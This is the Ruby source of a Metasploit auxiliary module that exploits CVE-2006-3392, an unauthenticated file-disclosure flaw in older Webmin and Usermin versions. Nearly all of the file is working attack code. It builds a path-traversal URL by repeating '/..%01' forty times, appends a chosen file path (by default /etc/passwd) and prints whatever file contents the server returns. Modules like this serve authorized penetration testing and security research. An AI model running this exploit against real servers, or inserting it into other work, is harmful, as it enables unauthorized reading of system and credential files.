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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Webmin File Disclosure',
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        'Description' => %q{
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          A vulnerability has been reported in Webmin and Usermin, which can be
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          exploited by malicious people to disclose potentially sensitive information.
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          The vulnerability is caused due to an unspecified error within the handling
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          of an URL. This can be exploited to read the contents of any files on the
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          server via a specially crafted URL, without requiring a valid login.
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          The vulnerability has been reported in Webmin (versions prior to 1.290) and
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          Usermin (versions prior to 1.220).
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        },
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        'Author' => [ 'Matteo Cantoni <goony[at]nothink.org>' ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['OSVDB', '26772'],
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          ['BID', '18744'],
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          ['CVE', '2006-3392'],
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          ['US-CERT-VU', '999601'],
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          ['URL', 'https://web.archive.org/web/20060722192501/http://secunia.com/advisories/20892/'],
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        ],
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        'DisclosureDate' => '2006-06-30',
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        'Actions' => [
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          ['Download', { 'Description' => 'Download arbitrary file' }]
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        ],
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        'DefaultAction' => 'Download',
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        'Notes' => {
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          'Stability' => [CRASH_SAFE],
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          'SideEffects' => [IOC_IN_LOGS],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        Opt::RPORT(10000),
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        OptString.new(
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          'RPATH',
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          [
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            true,
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            'The file to download',
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            '/etc/passwd'
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          ]
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        ),
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        OptString.new(
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          'DIR',
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          [
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            true,
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            'Webmin directory path',
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            '/unauthenticated'
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          ]
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        ),
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      ]
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    )
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  end
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  def run
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    print_status("Attempting to retrieve #{datastore['RPATH']}...")
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    dir = normalize_uri(datastore['DIR'])
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    uri = Rex::Text.uri_encode(dir) + '/..%01' * 40 + Rex::Text.uri_encode(datastore['RPATH'])
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    res = send_request_raw({
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      'uri' => uri
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    }, 10)
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    if res
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      print_status("The server returned: #{res.code} #{res.message}")
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      print(res.body)
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    else
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      print_status('No response from the server')
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    end
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  end
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end
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